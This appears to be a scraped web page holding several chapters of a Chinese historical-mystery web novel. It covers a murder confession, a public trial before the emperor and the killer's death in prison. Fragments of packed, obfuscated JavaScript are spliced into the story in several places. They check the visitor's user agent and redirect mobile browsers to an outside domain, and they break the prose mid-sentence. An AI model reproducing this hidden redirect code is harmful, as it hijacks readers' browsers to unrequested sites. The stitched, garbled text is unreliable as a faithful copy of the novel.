l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326846|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到问完这事了再说腰牌的事吧,没准都有联系。” 李时丰愤愤看了一眼谢筠熙,没有说“好”,也没有说“不好”,只是努力克制住自己心里的不爽,公事公办问道:“你确定你是凶手?” “回大人,的确是草民杀了郭睿那个畜生。” “如何杀,为何尸身的头颅却不翼而飞?” “草民事先知道他在香楼有一个十分中意的骈头,于是写了那封密函将他约到香楼吉丰阁,扮作香楼女子的模样,又假装为他送酒进入吉丰阁,当时烛火很暗,他见到草民便扑了上来,草民用飞镖刺入他的脖颈,待确认他彻底断气后,又从床底下摸出了事先摆放的利剑,从脖颈伤口处将头颅切下来带走的。” 秋芸重复这段作案经历时语气平静,一点都没有大仇得报的激动之情,这点让知道背后隐情的谢筠熙有些诧异。 “既然他已经死了,你为什么又要多此一举把他的头带走?”李时丰听着她的陈述,总觉得还有哪里不太对劲。 “这是有人交给草民的任务。” “头在哪?”李时丰继续追问。 “已经被烧成灰烬了,大人。”秋芸的语气依旧波澜不惊。 “你烧的?” “不是我,大人。”秋芸这时却摇了摇头,否认了这一点。 “你与郭睿有何关系?” 李时丰问完这话后,得到的却是三年前纵火案的另一面信息,他的表情逐渐从凝重变为了阴森,隐含着怒意。 “所以你是被郭睿卖到香楼的?难怪你如此熟悉香楼的细节。” 秋芸依旧摇了摇头:“若是他知道我在香楼,又怎么会次次光顾那里,我原本并没有被卖到香楼,而是偷逃出来行过一段时间的乞,后来又被抓了回去,只不过是另一帮人,他们看我长得还行就跟着一帮人被转手去了香楼,后来我以为一些过人的天赋被上头的大人看重了,楼里有几个人嫉妒我想将我置于死地,但我假死脱身了,从此被那大人收养于麾下,替他办事。” 李时丰一边记着,一边又问道:“你现在不想替他办事了是吗?” “是,草民后来知道,我与他有不共戴天之仇。”秋芸突然抬头朝李时丰的方向望了一眼,有些不忍地说道,“大人,他亦与您有不共戴天之仇。” 李时丰的笔停了下来,因为秋芸的这句话,房间里的温度下降了好几个度,一直没有开口的谢筠熙忍不住抖了抖身子,企图开破僵局:“呃……秋芸,那那三只狸奴……” “回小姐,那是我自己偷偷喂着的。”秋芸突然想起了什么,面色变得更加苍白了一些,“我……不知道他们会死在香楼里。” “雨夜那日,你不是也去了吗?”谢筠熙的脑瓜开始飞速运转,“你既然偷养着没让人发现,一定是你上头那个人知道了才故意让他们死在你面前的,连死去的模样也……” 谢筠熙说着说着看到了秋芸眼上那厚纱布,声音逐渐弱下去。 “果然……”秋芸突然扯着嘴角苦笑了一下,“这是警告,我早该想到的。” “好了,今日先到这里吧,本官近日要入宫同陛下汇报案件进展,秋姑娘,你入狱是注定的事实,不过,本官会尽量在皇上面前替你减刑,并且同意你被押入大理寺狱,你应该庆幸你对本官还有些价值。” 李时丰带上记满的纸页,起身离开前又加上了一句:“谢今安,看牢她。” “得嘞大人您慢走!” “多谢大人,草民感激不尽。” 谢筠熙惊喜的叫声与秋芸讶然的道谢一起在李时丰背后响起,不知怎的,断案以来头一次没有以暴制暴的李时丰却突然觉得自己跨出侧厅的那一刻有些轻松。 14. 有人在看 秋芸在大理寺待着的这几日,谢筠熙将她照顾得很好,此刻秋芸已经可以下地走路,但依旧不可以出侧厅。 谢筠熙这两日几乎每天都要跟陆贰和徐柒打听宫中的消息,听闻皇上知道香楼案一事的隐情后大怒,下令彻查郭睿此人的所有生平背景,并要求翰林院对此届的所有考生都进行背调,同时对京城地带的拐子进行追捕。只是这些事情吩咐下去时,皇上还要求李时丰必须找到更多人证与物证,以此让此案更加完满地解决。 而纵火案一事,皇上与李少卿在御书房的私谈,目前没有人知道是什么,只知道那日有官员看见从御书房走出来的李少卿面色铁青,应当是与皇上发生了一些分歧。 后来谢筠熙又知道,李少卿与皇帝申请将秋芸在调查期间也扣押在大理寺内,此事皇帝答应,但同时提出一个要求,就是调查结束后花芸必须出现在审判的公堂上,无论身体是何状况。 谢筠熙知道这事的时候有些着急,若是秋芸露面,恐怕背后之人不会善罢甘休,但是秋芸只是拍了拍她的手背安慰,自己会有权宜之策,叫谢筠熙暂时不必为自己的性命担忧。 案件进展的这几日,香楼迎来了它的最终结局,其中所得不义之财尽数充公,而楼中所有人员全部扣押做进一步调查,与香楼有关的官员,被供述出来其私生活不检点,为人视财如命,贪污腐败者又有多数,全部被皇帝一一革职,严重者下狱进行拷问,而其妻儿则被尽数遣散,全部降为平民。 至此,香楼案牵扯出来的利益网链将京城搅得天翻地覆,而此案的凶手秋芸,则会在几日后迎来她的审判。 “秋芸,我还有一个问题想要问你,那日雨夜的第二具尸体,是谁?”谢筠熙替秋芸喂着药,突然开口问道。 “那人……只是一个贪色好财之徒,连郭睿都不如的小人。” 谢筠熙疑惑:“那具尸体是一个香楼的姑娘指给我看的,那时我叫她快些回楼里,提到老鸨时,却看见她脸色十分难看,你知道这是为何吗?” 秋芸沉默了一番,这才娓娓道来:“那日雨夜,我潜身行动,想要把从拐子那边偷来的册子放到吉丰阁里,结果正要爬上那个屋子,就看见有一个香楼女子正在呼救,但是那处地方平日里除了清扫的小厮清晨会去,夜晚就更不会有人,我害怕有人看见我,正要躲起来,却看见有一人正欲强迫那姑娘行不轨之事,后来我听那姑娘骂骂咧咧,说那男人自己又赌又嫖没了钱两,又色胆包天想要吃白饭不给钱,于是偷偷蹲到香楼没人的地方抓姑娘满足他的一己私欲。” 谢筠熙听得直犯恶心,忍不住插了一句话:“这人有够恶心的。” “那姑娘虽然是勾栏之人,但我好歹也是知道跟她做过同样的事情,这一行这样的畜生有多少我心里清楚,于是我替那姑娘杀了那人,但实在难处理尸体,于是只好又用同样的方式将头扔进河里,并告诫那姑娘不要透露我的行踪,但可以告诉衙役尸体的事,后来回去找半天却没有找到那册子,又听见大人和你来的动静,只好从另一侧先行离开了。” “于是那姑娘正好撞上了我,将尸体指给我看是吗?” “应当是如此了。”秋芸点了点头。 “你可知那人是谁?”谢筠熙突然觉得事情有些巧合过了头。 “是谁?”秋芸只是平静地接下谢筠熙的话茬。 “后来李时丰才告诉我,那人也是此次参加科举的考生,只是落榜之人,而且已不是第一次,前来告知他身份的人是他的同乡,也是进京赶考之人,还说他似乎是得了什么道,不用科考也可以发大财……” 秋芸听到这话,面上没有什么表情,拳头却逐渐攥紧:“恐怕……这也是那人的一步罢了……” “一丘之貉罢了,来认尸那人和吃白饭那人,再加上一个郭睿,都不是什么好人……陛下要是知道他这次科举考里的考生有这么多伪君子,岂不是龙颜大怒。” 谢筠熙拿手支住下巴,叹了一口气。 “是啊,陛下的确龙颜大怒,不然翰林院那帮废物老头也不至于吓得快要在朝堂之上溺了!” 李时丰推门而入,榻边的两人俱是一惊,随后就是欣喜。 “大人您回来了?”谢筠熙站起身来,“刚刚秋芸说的事,你们都知道了?” “嗯,俱已查到,明日秋芸必须要公堂对证了,届时陛下可能会亲自到场,谢今安你这几日便回你朋友家待着吧。” 李时丰将横刀立在门边,熟练地把外衣堆在椅背上,进屋便对谢筠熙这样嘱咐。 “也对,此事可与谢相有关,这几日我忙着照顾秋芸,没空关注案情。”谢筠熙看着坐下的李时丰,突然想到这个,着急慌忙地询问。 “目前大大小小的涉事官员里,尚无人指证谢相与此事相关,倒有支持谢相之人举证,此次科举殿试的榜眼谢相对此人颇有不认同之词,甚至因此得罪了翰林院的一些官员。” “原来如此,那便好。”谢筠熙心中的大石头落了地。 “而且会试之时谢相就对此次科举颇有异议,但陛下并未叫停,只怕是有人从中作梗。” “可有人当面提出异议?”谢筠熙询问。 “有,只是那人官位较低,并不成气候,只是本官之后暗中调查了一番,发现此人与二皇子走得倒是挺近。” 李时丰眼中闪过一道暗芒,似是想起了什么不太好的事,但没有说什么,反倒是秋芸,听见这段话的时候,浑身上下都条件反射地变得有些僵硬。 但谢筠熙此刻并未发觉,只是依旧同李时丰一起讨论:“此事只能日后再议了,如今香楼案一事结案才是最为要紧的。” “对了,秋芸,我同陛下提了纵火案一事,陛下说,此事结束再做议断,可能要重新盘查此案了。” 李时丰的语气里带了一丝不易察觉的凝重,甚至可以说是悲怆,秋芸同他一般,屋子里的氛围突然变得有些低沉。 对此谢筠熙看看秋芸,又看看李时丰,不解的是李时丰的反应:他和纵火案一定有联系,甚至是不小的隐情,届时我要再做探究。 “好……少卿大人,草民感激不尽……”秋芸有些哽咽。 “好了,你准备好明日公审,谢今安你今日便可以回去了。”李时丰拿起外衣,再次离开了侧厅。 大理寺这几日忙得不可开交,谢筠熙离开的时候,依旧是花昀站在门口,谢筠熙同他道别时,问了他这样一句话:“你恨秋芸吗,将你冒名顶替这么多年?” 花昀却大咧咧笑了笑:“说恨算不上吧,我只是比较惊讶她一介女子竟可以为了查明一些事情委曲求全扮作他人如此之久,甚至无法做自己,付出的代价如此惨重却从未变心,此等坚毅之人,对得住我当时赠与她的那两枚铜钱!” “原来如此……”谢筠熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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艾诺没来得及躲开猝不及防被她抹了一把,弹簧似的又蹦开来,惊恼地指向谢筠熙,一副委屈的模样:“小今安,怎么这样,这是我新买的衣裳,你差点抹到上边去了!摁住艾诺的手指,又缓缓把它放下,她在穿越前的身高在同龄女生里已算比较显眼,穿越后发现这个嫡女的身高与长相都与自己极为相像,因此此刻比她矮半个头的艾诺在她眼里更是小小一只,她伸手摸了摸艾诺的头顶,好声好气地哄道:“对不起,小诺,别生气了好不好,但是我有我必须去做的道理,可以理解一下我吗小诺。” 她一边说着,又轻轻捏了捏艾诺软乎乎的脸蛋,一双水灵灵的杏眼直到将艾诺盯得脸颊有些发烫,这才愤愤推开谢筠熙,闷闷说道:“哼,也就我惯着你了小今安。” 谢筠熙又狠狠揉了一把艾诺的脸蛋,这才笑着转身离开,又听见艾诺在身后叫着:“平安归来,小今安!” 谢筠熙没有回头,只是故作潇洒挥了挥手,一转眼之间又没了影。 谢筠熙到大理寺的时候,没有想过围观的人能有如此之多。 看热闹果然是人们从古至今都存在的天性啊…… 谢筠熙悄悄隐入人群之中,借着缝隙能看见一些里面的情形。 “姑娘,你的东西掉了。” 谢筠熙感受到搭在肩上的双手,汗毛瞬间立了起来,但她没有声张,只是慢慢将头往声源处转去,回头的那一刹那,入目的却是一个风度翩翩的公子。 呦,帅哥? 与李时丰那阴暗批的冷俊长相不同,眼前这位男子看上去可以用“朗月清风”四个字来形容,生得一副一眼就能让人心生好感的皮囊,让谢筠熙也不由晃了晃神。 他的手上捧着一只青瓷做的耳饰,向谢筠熙伸了伸手。 “呃……多谢,多谢。”谢筠熙回过神来,将自己的耳饰重新戴上,又将目光放到了正在审判的案件上,并没有把这一小插曲放在心上。 15. 忠告 “公审开始!” 李时丰的声音响起时,公堂上的审判正式开始。 谢筠熙透过让人群,看到了那个坐于屏风之后的明黄色身影:那便是当今天子赵砚宸?没想到有朝一日我竟能见到活着的历史人物…… 目光转移到秋芸身上,她尚未完全恢复,此刻却只能跪在公堂的硬地上,因为被剜去双目,此刻只能用布条遮挡住眼睛,这几日来身形更是萧条,门口的民众们议论纷纷,说什么的都有。 人们大概也没有想到,杀了榜眼的凶手竟是这样一个看上去手无缚鸡之力的女子,一时之间,人声鼎沸。 李时丰将惊堂木往桌上一拍,大喊一声:“肃静!” 当今圣上藏在屏风后的目光扫过每一个在场的人,最后定格在那个双膝跪地的女子身上,帝王的双目里也盛着些许讶然。 人们瞬间安静下来,不敢再在皇帝眼皮子底下大声喧哗,一时之间公堂内外只剩下人们轻微的呼气声,只等秋芸开口。 “是。” 秋芸不卑不亢,只是从她嘴里淡淡说出的这句话,却无比的笃定,像是放下了什么,没有一丝一毫的犹豫与迟疑。 接下来就是公堂上的对证环节,让谢筠熙没有想到的是,李时丰找到的人证物证远比她被告知的更加多,也更加全面,甚至包含了香楼的姑娘们,有不少挺身而出站在秋芸这边替她揭露香楼的真实面目,李时丰听得眉头紧皱,这让前来围观之人也都倒吸了一口凉气。 原来那香楼与京城拐子勾结已有多年,他们负责供货,香楼负责接货以及拍卖,或是将无人要的姑娘和少年留在香楼之中以色侍人,其中被拐者不乏京中或其余地方为官之人的小姐,公子。 而被拐时这些人俱是幼童,尚不经人事,就已被迫踏入了深渊,成为了朝堂之臣或是权贵之人的玩物。 而郭睿,只不过是其中一人而已。 那意外死去的另一人,同样难逃其咎。 帝王听后震怒,坐于屏风之后沉声质问:“大胆!竟有人敢在朕的眼皮子底下如此行事,真是放肆!你接着说,此事还有何等隐情!” 此刻李时丰也不得插嘴,只能用眼神示意秋芸,让她继续说下去。 “草民杀人已是不争的事实,草民愿认罪,陛下可愿意,听听小女的过去?” “讲。” 于是三年前的那场大火,再一次从秋芸嘴中被揭露于世人面前。 于是原本对于凶手的审判变成了被害之人的声声讨伐,秋芸借此机会,向皇帝请命:“陛下,草民恳请皇上,重查纵火案一事,此事疑点重重,不只是草民的家人,更是……给镇北将府一个交代!” “你可知……你一届平民,说出此等话,会有何下场。” 屏风后的天子沉默了一瞬,问了秋芸这样一个问题。 “草民知道,草民不在乎。”秋芸跪在地上向皇帝结结实实磕了一个头,“求陛下,成全。” 在场之人,比皇帝更为沉默的,还有一人,那便是坐于公堂之上的李时丰,他的眼底流露出更加复杂的情绪,即使相隔甚远,谢筠熙依旧能够感受到,李时丰此刻,似乎有一些悲伤。 当着众百姓的面,赵砚宸摸了摸额头,重重叹了一口气:“好,那朕便成全你。” “李爱卿。”皇帝突然叫到李时丰。 “臣在。”李时丰缓缓起身,面向屏风行礼。 “自三年前将军府出事以来,朝廷民间议论纷纷,朕承认,当年朕确实过于武断,现在,朕命你,重查纵火案一事,无论多久,直到查明真相为止。” 李时丰阴沉多年的双眸,难得的,燃起了一点星光,但他强压着这份激动,向皇帝行了个大礼:“是,臣定不辱使命。” “陛下真是个好皇帝啊!” “有次明君,乃大辰一大幸事啊……” “就是不知那女子会被如何处置……” 百姓们再次议论纷纷起来,谢筠熙突然记起,史载镇北将夫妇为人友善亲民,在边境时不拿百姓一针一线,又乐善好施,与百姓其乐融融,再一对军中士兵待如至亲,因此军民同心战无不胜,这事是整个大辰都知道的,而军中士卒亲人,也有许多在京城的百姓,大家对其爱戴至深,因此纵火案一事颇受争议倒也情有可原,只是不知道当年究竟为何陛下做出了结案的决断。 “也不知当年发生了什么……”谢筠熙在人群中暗自思考着,却没有发现身后之人的眼神也逐渐晴朗起来。 “当年之事,陛下定然会查清,如今颇多猜疑,并无甚用处。” 谢筠熙听见背后之人发话,先是被吓了一跳,之后又附和:“也是,纸是包不住火的,孰是孰非,终会有结果,多说无益。” “姑娘倒是颇有智慧,可否交个朋友?” 谢筠熙再次看向身后那人,有些不太好意思:“这位公子,恕小女唐突,可否一问公子的姓名?” “那便称呼在下钰鸿便好,此处人多声杂不便说话,姑娘可愿随在下去往僻静之处一叙。”那位公子轻笑着回答,对谢筠熙做出邀请。 此人身份必定不凡,怕是宫中之人便衣而行来这里听取审判,若我跟他去,就怕他是敌非友,这可如何是好…… 谢筠熙也回以微笑,此刻心中飞速做着决断:先试探一番,实在不行此处有天子在,不远处便好,他再让我走我就不走了。 “那么,钰鸿公子,请。”谢筠熙和他离开了人群。 “此处便可。”谢筠熙停下脚步,望了望不远处的大理寺,确定这里离大理寺并不远,这才放下心来。 “姑娘莫怕,在下不会拿姑娘怎么样,在下与李少卿亦同为好友,不必担心。”钰鸿公子一眼便看穿了谢筠熙的担忧,于是负手而立,满目笑容的地安慰道。 “你……认得我?”谢筠熙摸了摸脸,确认自己的伪装没有掉。 “在下并不知晓姑娘的伪装之下究竟为何人,只是听闻时丰最近多了一个得力助手,有些好奇罢了。” “李时丰跟你提起过我?”谢筠熙有些错愕: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329114|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不守信用!说好的不准暴露我的行踪呢!李时丰这个骗子! “放心,时丰未与我透露半分姑娘的身份与行踪。”钰鸿公子看着谢筠熙逐渐精彩的脸色,内心有些忍俊不禁。 “那你又如何认得出是我!”谢筠熙有些气恼。 “只是姑娘落下的这份东西让我确认罢了。” 钰鸿公子从袖中取出一本册子,正是谢筠熙平日里用来记录修复工作的记录册。 钰鸿公子轻轻递给谢筠熙:“姑娘莫要再丢三落四了,又是耳坠又是册子的。” “是你故意偷拿的吧,这册子我分明收的好好的。”谢筠熙一把拿过,更加生气。 “姑娘莫动怒,只是一个借机引你离开的法子罢了,那围观的人群之中,怕是有人也盯着你。”钰鸿公子不紧不慢继续解释。 “谁?”谢筠熙一秒警惕,“我分明易容了。” “此事不可多说,在下只能告诉姑娘,今日之案无论秋芸的结局是生是死,她都活不了太久。”钰鸿公子的声音压得更低。 “有人要杀她,我知道,这是死局,但至少我们的目的达到了。”谢筠熙垂下双眸,掩不住眼里的悲伤。 “是啊,我的目的也达到了,只是这样一个勇武的姑娘,可惜了。”钰鸿公子发出一声叹息。 “但她的名字会留于青史,足矣。”谢筠熙说完这句,便不再发话。 “在下可否请姑娘帮一个忙?”钰鸿公子发话。 “什么?”谢筠熙抬头。 帮在下找一个人,是在下的弟弟在下寻了好久了。”钰鸿有些哀叹。 “叫什么。”谢筠熙看向他。 “他叫明赫,实不相瞒,在下的父亲也寻他许久。”钰鸿望向有些迟疑的谢筠熙。 “我……你如何觉得我能找到?你……也拜托了李时丰?”谢筠熙突然想到什么,出声质问。 “聪明!只是现在知道这事的有两个人了,人多力量大嘛。”钰鸿莞尔。 “行……”谢筠熙思忖了许久,暂时接下。 “多谢姑娘,事成之后,必有答谢。”钰鸿向谢筠熙鞠了一躬,又独自离开。 谢筠熙赶紧回到大理寺,却发现和钰鸿谈话间,案子已经断完,皇帝也摆驾回宫,李时丰和下属们整理着残局。 “谢今安,我本官就知道你不会乖乖待着。”李时丰叫住鬼鬼祟祟在大理寺门口窥探的身影。 “我分明换了一张脸,这易容怎么到你这跟没有似的……”谢筠熙不得不跳出来,对李时丰坦白。 “秋芸她,最后如何了?”谢筠熙正经起来。 “陛下同意了将她押入大理寺狱,只是……生死有命,本官护得了她一时,却护不了她一世,此事她自己也知道,纵火案一事一捅出,只怕背后之人不会善罢甘休,我们只能静观其变了。” “嗯……也罢……”谢筠熙只能点头。 “一会我可以去见秋芸一面吗?”谢筠熙恳求道。 “可以。”李时丰答应下来。 16. 死亦知足 谢筠熙见到秋芸的那一刻,才知道真的有人可以面对生死如此淡然,衙役为谢筠熙打开了关押秋芸的牢门,秋芸听见声音回过了头,她的脸一如刚来大理寺一般苍白,但却透露着安详与宁静,谢筠熙同她对视良久,一步步向她走去。 “秋芸,我来了。” 在李时丰的默许下,此刻牢里只有谢筠熙和秋芸二人,秋芸听出了来者的身份,只是轻轻拍了拍身边的位置,示意谢筠熙坐下。 “莫要站着了谢小姐,快坐下吧。”秋芸说这话的时候,语气前所未有的温柔,甚至还难得笑了笑。 “你害怕吗,秋芸?”谢筠熙没有办法准确地描述这种感觉,她只能这样问秋芸。 “从我决定向陛下请示重查纵火案的那一刻起,我就不怕了,也许我的结局注定是一个‘死’,但我既然已经将事情和盘托出,即便是死,我亦知足了。” 秋芸静静地坐在那,月光顺着窗口倾洒进来,照在那张有些残缺的脸上,就像是为她蒙上了一层银色的轻纱,她的语气是那样的平静,没有一点波澜。 “秋芸……”谢筠熙此刻有些说不出话来,她只能静静地陪秋芸坐着,除此之外,别无他选。 “谢小姐,接下来的事,恐怕要劳您与大人费心了。”秋芸突然起身,向谢筠熙恭恭敬敬地行了个礼。 谢筠熙赶忙将秋芸拉起来,深深凝视着白布遮盖下的那双眼睛,郑重其事地回答:“放心,我一定会让真想水落石出的。” “多谢。您和谢相一般,是这世间不可多得的好人。”秋芸莞尔,留下这样一句话。 “我爹?你认识我爹?”谢筠熙瞪大双眸。 “嗯,谢相对秋某而言,是有恩之人。”秋芸顿了顿,接着说,“还记得我说过的假死逃生一事吗?” “是我爹……”谢筠熙有些不可置信。 “此事我不能说太多,只能谢小姐自己去探查了。”秋芸却没有再说下去,只是给了谢筠熙一个悬而未决的谜面。 谢筠熙了然,她正要说些什么,又听见牢门外传来一些动静,她赶忙住嘴,拍了拍秋芸的肩,踮起脚尖偷偷探头出去查看。 “是我,花昀。”来者并不是什么可疑人物,谢筠熙见是花昀,猛然松了一口气,打开牢门让他进来。 “你和秋芸还有话要说吗?那我就先走了。”谢筠熙并没有立刻关上牢门,而是将钥匙交给花昀,问了这样一句话。 “嗯,多谢。”花昀顺势接过,同谢筠熙摇了摇手。 走出大理寺狱的这段路,谢筠熙想了很多种可能性,对于秋芸与谢相的相识依旧有些讶然。 若谢相是帮秋芸逃出香楼的人,那么也就是说谢相他一定知道香楼里的一些隐情,无缘无故帮助一个素不相识的人倒是不太可能吧,既为当朝丞相,一定是有目的的。 至于目的为何,这便不得而知了。 谢筠熙就这样一路思考着回到侧厅,一路上沉浸在思绪之中,完全没有注意到前方与她迎面走来的李时丰,下一秒就要撞上。 “谢今安!想什么呢,这么入迷?” 谢筠熙感受到一个黑影逐渐笼罩在自己的头上,下一秒就听见了那个熟悉的声音,立刻退开三尺远,表情活像生吃了三个鸡蛋:“不好意思不好意思啊大人,我刚刚想事情呢,太入迷了没注意到你在前面,无意冲撞了大人实在抱歉,请大人手下留情,饶了小的吧。” 李时丰被谢筠熙这一连串机关枪似的话语将刚要说出口的询问硬生生憋了回去,最后冒出来一句:“本官看上去有这么吓人吗?” 谢筠熙不语,只是一个劲地当缩头乌龟,非常窝囊地点了点头,又将那两双无辜的大眼偷偷瞄向李时丰逐渐变黑的脸。 “回侧厅。”李时丰差点被气笑,上来就拎住了谢筠熙的的后脖颈,将她一路拖了回去。 “喂!大人你这是……滥用职权……快放我下来!”谢筠熙挣扎着,奈何力量实在悬殊,谢筠熙最后败下阵来,只能抱胸生闷气。 进了侧厅,李时丰就十分不客气地将谢筠熙放到了榻边,前些日子照顾秋芸时留下的中草药味依旧萦绕在屋子里,李时丰松开谢筠熙后,便有些嫌弃地捂了捂鼻子。 “喂!大人!你究竟要做什么!你本来就很吓人,我只是说了实话而已!”谢筠熙不满地插起腰。 李时丰听见谢筠熙还提,刚刚好一些的脸色再次暗下去。 “对对对!就是这个样子,大人你去照照镜子,每次都是这样……” 谢筠熙今天也不知是吃了熊心还是豹子胆,还敢继续说下去。 “闭嘴。”李时丰不知哪根筋搭错了,就将手捂到了还在一个劲叭叭的谢筠熙嘴上。 这下两个人都愣住了。 屋子里的气氛一时之间尴尬到了极点,李时丰的手触到那柔软的一瞬间,瞳孔不可抑制地放大,反应了两秒,李时丰立刻想把手抽回来。 但是却被谢筠熙一把抓住。 可算让我抓到破绽了,你也有今天,李时丰,君子报仇,十年不晚! 下一瞬,李时丰感受到虎口处一阵刺痛,他用力将手一抽,再一看,手掌上赫然多了一个清晰可见的牙印。 “嘿嘿。”谢筠熙发出一声怪笑,得意地望向一脸懵的李时丰。 “活腻了可以直说,没必要这么挑衅本官。”李时丰半天终于意识到谢筠熙干了什么。 从小到大,无一人敢这样对李时丰。 此刻李时丰心里涌上一种怪异的感觉,不是愠怒,也不是震惊,而是一种说不明道不清的情绪。 “你竟然没躲,失策了吧,小罗刹。”那边谢筠熙依旧笑得十分猖狂。 换成别人,此刻这个侧厅里就要多一具尸体了。 谢今安此人的矜持全部都是装出来的!李时丰这样想着,对谢筠熙怒目而视。 “本官不与你计较,你去见秋芸究竟说了什么?”李时丰悄悄将手藏进袖子里,不想与谢筠熙废话。 谢筠熙一秒进入工作状态,收起了那副嬉皮笑脸的模样:“秋芸说她死而无憾,还有就是,她说,她与我爹认识……” “你刚刚在想的就是这个?” “没错。” 这样说着,谢筠熙又陷入了沉思。 “无妨,日后我们会调查到的,你先不要告诉其他人。”李时丰嘱咐道。 “自然。”谢筠熙应下。 “对了,前几日 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李时丰这次却没有立刻和谢筠熙犟嘴。 “我……”这一下给谢筠熙整不会了。 “这人把你扯进来干什么……” “他知道我是谁是不是!你把我的身份告诉他了!”谢筠熙突然指着李时丰大喊。 “我没有!”李时丰头一次失态地同谢筠熙叫起来。 “……” 房间里突然陷入了一阵沉默。 “本官先走了。”李时丰匆匆离开,留下谢筠熙一人独自在风中凌乱。 “三皇子……是那个最后被流放远疆的三皇子吗……”谢筠熙倒在榻上,用手背挡住双眼。 经历了这么多来看,这史书背后的隐情似乎不是一般的大…… 一点点来……谢筠熙想着想着,逐渐陷入了沉睡。 香楼案的一切似乎都走向定局,皇帝下令撤除了郭睿的榜眼成绩,同时下令他的家族永远不许参加科举,同时香楼彻底被查封,成了一处荒楼,楼中的人多数被遣散,有少数被认出带回家的男女,但多数都因为失去贞操,或是本身就被卖掉的可怜人无家可归,有能力的自己找工作赚口饭吃,没能力的只能流落街头而,而那老鸨最终也锒铛入狱。 事实就是如此残酷……谢筠熙趴在窗边,重重叹了一口气,君权之下,有人荣华富贵,有人却流离失所。 秋芸在牢中待了半月,看似风平浪静,实则她自己也能逐渐感受到危险的逼近。 就在某个深夜,秋芸提着那人派人送来的沉甸甸的酒壶,一饮而尽。 第二天早上,发现秋芸倒在狱中的第一个人,是正好当值的花昀,他走近时,看见了秋芸嘴角的那一抹鲜血,迎着升起的旭日,映出的是秋芸嘴角噙笑的安详面庞,花昀走过去,帮这个与之相似的面孔轻轻合上双目。 愿你来生能成为自己……从此世间只有一个花昀。 谢筠熙是第二个发现秋芸之死的人,虽然已经知道了结局,但她看见花昀蹲在秋芸身旁时时的模样,依旧感叹人世间的神奇。 可一切还远远未尽。 17. 偶遇 香楼案结束过了两周,谢筠熙并没有一直待在大理寺,大部分她时间依旧躲在艾诺的家中琢磨关于谢相的事情,以及钰鸿哦不,应该说是三皇子交代的任务。 刚从大理寺回来的那天,谢筠熙目睹了秋芸的逝去,见到艾诺的时候,她把这一噩耗告诉了她,然后一把抱住艾诺,一时之间内心感慨万千,房间里只剩下两个女孩略显急促的哽咽声。 谢筠熙什么都没有说,收拾完心情之后,第二天又投入到了自己的任务之中,她知道自己不可以一直沉浸在悲伤之中,有更多不可言说之物正在等待着她发现,等待着她去亲手揭开,亲手扶正。 这两周里,谢筠熙更加用功地收集关于这个时代的一切信息,包括已知与被历史遗忘的片段,她将它们收集起来,又拼凑完整,然后用自己的双手将它们一一复原。 于是这段时间,她与周边的书肆和当铺老板聊得如火如荼,就差勾肩搭背而行了。 老板们为自己收获了一个知己感到兴奋,得知谢筠熙的独门手艺,又鼓励她以此为商机,赚些零用。 来钱的事谢筠熙哪里能含糊,当即就披上自己的伪装在街上摆上了小摊。 京城之中,街坊邻里有不少酷爱古玩之人,在书肆和当铺老板的口口相传下,谢筠熙的名声就这样逐渐被打响,来找她修古物和破损书籍的人络绎不绝。 艾诺知道此事之后,本想劝谢筠熙稍微低调一些,但是此时再说,似乎也有些晚了,恰巧她和自己老爹一般,有一颗敏锐的商业头脑,于是艾诺来劝谢筠熙的话到了嘴边突然改了口:“小今安,你看你现在这么抢手,不如直接开个铺子得了,一边赚钱,一边还可以在私底下偷偷收集情报。” 谢筠熙当即一拍手,狠狠点头:“对啊!小诺你真是个天才!” 于是在艾诺她爹的支持下,谢筠熙火速包下了一间空房,清扫一番,摇身一变,成了自己的小店。 这件事办成没有超过两周。 谢筠熙此刻的生活变成了三点一线,艾诺家,铺子和大理寺,她时常三处一起走动,自然也打听到了不少百姓口里相传的消息。 例如谢相究竟是一个怎样的人;谢相做过的事;谢相在民间的口碑…… 当然除了这些,她自然没有忘记打听关于钰鸿公子口中的那个明赫的消息。 李时丰自从接下了重翻纵火案的圣旨后,近些时日都不见人影,应当是在做准备,没有她的打扰,谢筠熙更加自在,她到大理寺时一般都是冲着李时丰的几个下属去的,偶尔插科打诨,偶尔正经问事,与他们之间的关系也逐渐熟悉起来。 这日谢筠熙正在自己的铺子里修破书,门外突然传来一阵喧闹,谢筠熙自然不是会错过看热闹机会的人。 她当即放下自己手里的工作,悄悄打开门,顺着门缝观察究竟发生了什么。 “还以为你是什么大户人家的公子,穿得这样光鲜亮丽,却要在我家吃霸王餐,真不要脸!” 谢筠熙听这咒骂声,似乎是对门饭馆的老板娘,门口围着一圈人,包围住中心的几人,谢筠熙快把脖子伸出二里地了还没看到吃霸王餐的人究竟是谁,不由有些着急,将门缝又挤开了些。 “不是,这位姐姐你误会了,在下是在等朋友来,今天她饭钱全包,不是要逃……” “我看你在这里吃完蹲了有半个时辰了吧,怎么没看见你朋友的影子呢?”老板娘扯着嗓子指向逐渐聚集的人群。 这声音……怎么这么耳熟,谢筠熙有些奇怪,但依旧没有回去的意思。 现在她直接靠在了店铺的大门口,好整以暇看着这番闹剧。 “在下的朋友……正是……”人群突然顺着一个方向回头,一道道炽热的视线聚焦到对门的人影上。 谢筠熙这下终于看清了人群中的瓜主,熟悉的面容一闪而过,谢筠熙心中警铃大作:三皇子!!!他怎么在这!!我没有告诉过任何人我在这!我靠,他干嘛指我! 